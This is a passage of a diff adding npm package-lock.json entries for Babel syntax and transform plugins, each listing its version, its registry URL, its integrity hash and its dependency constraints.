+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz",
+      "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-logical-assignment-operators": {
+      "version": "7.10.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz",
+      "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.10.4"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
+      "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-numeric-separator": {
+      "version": "7.10.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",
+      "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.10.4"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-object-rest-spread": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
+      "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-optional-catch-binding": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
+      "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-optional-chaining": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
+      "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-private-property-in-object": {
+      "version": "7.14.5",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz",
+      "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.14.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-top-level-await": {
+      "version": "7.14.5",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz",
+      "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.14.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-syntax-typescript": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.18.6.tgz",
+      "integrity": "sha512-mAWAuq4rvOepWCBid55JuRNvpTNf2UGVgoz4JV0fXEKolsVZDzsa4NqCef758WZJj/GDu0gVGItjKFiClTAmZA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-arrow-functions": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.18.6.tgz",
+      "integrity": "sha512-9S9X9RUefzrsHZmKMbDXxweEH+YlE8JJEuat9FdvW9Qh1cw7W64jELCtWNkPBPX5En45uy28KGvA/AySqUh8CQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-async-to-generator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.18.6.tgz",
+      "integrity": "sha512-ARE5wZLKnTgPW7/1ftQmSi1CmkqqHo2DNmtztFhvgtOWSDfq0Cq9/9L+KnZNYSNrydBekhW3rwShduf59RoXag==",
+      "dependencies": {
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-remap-async-to-generator": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-block-scoped-functions": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.18.6.tgz",
+      "integrity": "sha512-ExUcOqpPWnliRcPqves5HJcJOvHvIIWfuS4sroBUenPuMdmW+SMHDakmtS7qOo13sVppmUijqeTv7qqGsvURpQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-block-scoping": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.18.9.tgz",
+      "integrity": "sha512-5sDIJRV1KtQVEbt/EIBwGy4T01uYIo4KRB3VUqzkhrAIOGx7AoctL9+Ux88btY0zXdDyPJ9mW+bg+v+XEkGmtw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-classes": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.19.0.tgz",
+      "integrity": "sha512-YfeEE9kCjqTS9IitkgfJuxjcEtLUHMqa8yUJ6zdz8vR7hKuo6mOy2C05P0F1tdMmDCeuyidKnlrw/iTppHcr2A==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-compilation-targets": "^7.19.0",
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-function-name": "^7.19.0",
+        "@babel/helper-optimise-call-expression": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-replace-supers": "^7.18.9",
+        "@babel/helper-split-export-declaration": "^7.18.6",
+        "globals": "^11.1.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-computed-properties": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.18.9.tgz",
+      "integrity": "sha512-+i0ZU1bCDymKakLxn5srGHrsAPRELC2WIbzwjLhHW9SIE1cPYkLCL0NlnXMZaM1vhfgA2+M7hySk42VBvrkBRw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-destructuring": {
+      "version": "7.18.13",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.18.13.tgz",
+      "integrity": "sha512-TodpQ29XekIsex2A+YJPj5ax2plkGa8YYY6mFjCohk/IG9IY42Rtuj1FuDeemfg2ipxIFLzPeA83SIBnlhSIow==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-dotall-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.18.6.tgz",
+      "integrity": "sha512-6S3jpun1eEbAxq7TdjLotAsl4WpQI9DxfkycRcKrjhQYzU87qpXdknpBg/e+TdcMehqGnLFi7tnFUBR02Vq6wg==",
+      "dependencies": {
+        "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-duplicate-keys": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.18.9.tgz",
+      "integrity": "sha512-d2bmXCtZXYc59/0SanQKbiWINadaJXqtvIQIzd4+hNwkWBgyCd5F/2t1kXoUdvPMrxzPvhK6EMQRROxsue+mfw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-exponentiation-operator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.18.6.tgz",
+      "integrity": "sha512-wzEtc0+2c88FVR34aQmiz56dxEkxr2g8DQb/KfaFa1JYXOFVsbhvAonFN6PwVWj++fKmku8NP80plJ5Et4wqHw==",
+      "dependencies": {
+        "@babel/helper-builder-binary-assignment-operator-visitor": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-flow-strip-types": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.19.0.tgz",
+      "integrity": "sha512-sgeMlNaQVbCSpgLSKP4ZZKfsJVnFnNQlUSk6gPYzR/q7tzCgQF2t8RBKAP6cKJeZdveei7Q7Jm527xepI8lNLg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/plugin-syntax-flow": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-for-of": {
+      "version": "7.18.8",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.18.8.tgz",
+      "integrity": "sha512-yEfTRnjuskWYo0k1mHUqrVWaZwrdq8AYbfrpqULOJOaucGSp4mNMVps+YtA8byoevxS/urwU75vyhQIxcCgiBQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-function-name": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.18.9.tgz",
+      "integrity": "sha512-WvIBoRPaJQ5yVHzcnJFor7oS5Ls0PYixlTYE63lCj2RtdQEl15M68FXQlxnG6wdraJIXRdR7KI+hQ7q/9QjrCQ==",
+      "dependencies": {
+        "@babel/helper-compilation-targets": "^7.18.9",
+        "@babel/helper-function-name": "^7.18.9",
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-literals": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.18.9.tgz",
+      "integrity": "sha512-IFQDSRoTPnrAIrI5zoZv73IFeZu2dhu6irxQjY9rNjTT53VmKg9fenjvoiOWOkJ6mm4jKVPtdMzBY98Fp4Z4cg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-member-expression-literals": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.18.6.tgz",
+      "integrity": "sha512-qSF1ihLGO3q+/g48k85tUjD033C29TNTVB2paCwZPVmOsjn9pClvYYrM2VeJpBY2bcNkuny0YUyTNRyRxJ54KA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-modules-amd": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.18.6.tgz",
+      "integrity": "sha512-Pra5aXsmTsOnjM3IajS8rTaLCy++nGM4v3YR4esk5PCsyg9z8NA5oQLwxzMUtDBd8F+UmVza3VxoAaWCbzH1rg==",
+      "dependencies": {
+        "@babel/helper-module-transforms": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "babel-plugin-dynamic-import-node": "^2.3.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-modules-commonjs": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.18.6.tgz",
+      "integrity": "sha512-Qfv2ZOWikpvmedXQJDSbxNqy7Xr/j2Y8/KfijM0iJyKkBTmWuvCA1yeH1yDM7NJhBW/2aXxeucLj6i80/LAJ/Q==",
+      "dependencies": {
+        "@babel/helper-module-transforms": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-simple-access": "^7.18.6",
+        "babel-plugin-dynamic-import-node": "^2.3.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-modules-systemjs": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.19.0.tgz",
+      "integrity": "sha512-x9aiR0WXAWmOWsqcsnrzGR+ieaTMVyGyffPVA7F8cXAGt/UxefYv6uSHZLkAFChN5M5Iy1+wjE+xJuPt22H39A==",
+      "dependencies": {
+        "@babel/helper-hoist-variables": "^7.18.6",
+        "@babel/helper-module-transforms": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-validator-identifier": "^7.18.6",
+        "babel-plugin-dynamic-import-node": "^2.3.3"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-modules-umd": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.18.6.tgz",
+      "integrity": "sha512-dcegErExVeXcRqNtkRU/z8WlBLnvD4MRnHgNs3MytRO1Mn1sHRyhbcpYbVMGclAqOjdW+9cfkdZno9dFdfKLfQ==",
+      "dependencies": {
+        "@babel/helper-module-transforms": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-named-capturing-groups-regex": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.19.1.tgz",
+      "integrity": "sha512-oWk9l9WItWBQYS4FgXD4Uyy5kq898lvkXpXQxoJEY1RnvPk4R/Dvu2ebXU9q8lP+rlMwUQTFf2Ok6d78ODa0kw==",
+      "dependencies": {
+        "@babel/helper-create-regexp-features-plugin": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-new-target": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.18.6.tgz",
+      "integrity": "sha512-DjwFA/9Iu3Z+vrAn+8pBUGcjhxKguSMlsFqeCKbhb9BAV756v0krzVK04CRDi/4aqmk8BsHb4a/gFcaA5joXRw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-object-super": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.18.6.tgz",
+      "integrity": "sha512-uvGz6zk+pZoS1aTZrOvrbj6Pp/kK2mp45t2B+bTDre2UgsZZ8EZLSJtUg7m/no0zOJUWgFONpB7Zv9W2tSaFlA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-replace-supers": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-parameters": {
+      "version": "7.18.8",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.18.8.tgz",
+      "integrity": "sha512-ivfbE3X2Ss+Fj8nnXvKJS6sjRG4gzwPMsP+taZC+ZzEGjAYlvENixmt1sZ5Ca6tWls+BlKSGKPJ6OOXvXCbkFg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-property-literals": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.18.6.tgz",
+      "integrity": "sha512-cYcs6qlgafTud3PAzrrRNbQtfpQ8+y/+M5tKmksS9+M1ckbH6kzY8MrexEM9mcA6JDsukE19iIRvAyYl463sMg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-constant-elements": {
+      "version": "7.18.12",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.18.12.tgz",
+      "integrity": "sha512-Q99U9/ttiu+LMnRU8psd23HhvwXmKWDQIpocm0JKaICcZHnw+mdQbHm6xnSy7dOl8I5PELakYtNBubNQlBXbZw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-display-name": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.18.6.tgz",
+      "integrity": "sha512-TV4sQ+T013n61uMoygyMRm+xf04Bd5oqFpv2jAEQwSZ8NwQA7zeRPg1LMVg2PWi3zWBz+CLKD+v5bcpZ/BS0aA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-jsx": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.19.0.tgz",
+      "integrity": "sha512-UVEvX3tXie3Szm3emi1+G63jyw1w5IcMY0FSKM+CRnKRI5Mr1YbCNgsSTwoTwKphQEG9P+QqmuRFneJPZuHNhg==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/plugin-syntax-jsx": "^7.18.6",
+        "@babel/types": "^7.19.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-jsx-development": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz",
+      "integrity": "sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA==",
+      "dependencies": {
+        "@babel/plugin-transform-react-jsx": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-pure-annotations": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.18.6.tgz",
+      "integrity": "sha512-I8VfEPg9r2TRDdvnHgPepTKvuRomzA8+u+nhY7qSI1fR2hRNebasZEETLyM5mAUr0Ku56OkXJ0I7NHJnO6cJiQ==",
+      "dependencies": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-regenerator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.18.6.tgz",
+      "integrity": "sha512-poqRI2+qiSdeldcz4wTSTXBRryoq3Gc70ye7m7UD5Ww0nE29IXqMl6r7Nd15WBgRd74vloEMlShtH6CKxVzfmQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "regenerator-transform": "^0.15.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-reserved-words": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.18.6.tgz",
+      "integrity": "sha512-oX/4MyMoypzHjFrT1CdivfKZ+XvIPMFXwwxHp/r0Ddy2Vuomt4HDFGmft1TAY2yiTKiNSsh3kjBAzcM8kSdsjA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-runtime": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.19.1.tgz",
+      "integrity": "sha512-2nJjTUFIzBMP/f/miLxEK9vxwW/KUXsdvN4sR//TmuDhe6yU2h57WmIOE12Gng3MDP/xpjUV/ToZRdcf8Yj4fA==",
+      "dependencies": {
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "babel-plugin-polyfill-corejs2": "^0.3.3",
+        "babel-plugin-polyfill-corejs3": "^0.6.0",
+        "babel-plugin-polyfill-regenerator": "^0.4.1",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-runtime/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/plugin-transform-shorthand-properties": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.18.6.tgz",
+      "integrity": "sha512-eCLXXJqv8okzg86ywZJbRn19YJHU4XUa55oz2wbHhaQVn/MM+XhukiT7SYqp/7o00dg52Rj51Ny+Ecw4oyoygw==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-spread": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.19.0.tgz",
+      "integrity": "sha512-RsuMk7j6n+r752EtzyScnWkQyuJdli6LdO5Klv8Yx0OfPVTcQkIUfS8clx5e9yHXzlnhOZF3CbQ8C2uP5j074w==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-sticky-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.18.6.tgz",
+      "integrity": "sha512-kfiDrDQ+PBsQDO85yj1icueWMfGfJFKN1KCkndygtu/C9+XUfydLC8Iv5UYJqRwy4zk8EcplRxEOeLyjq1gm6Q==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-template-literals": {
+      "version": "7.18.9",
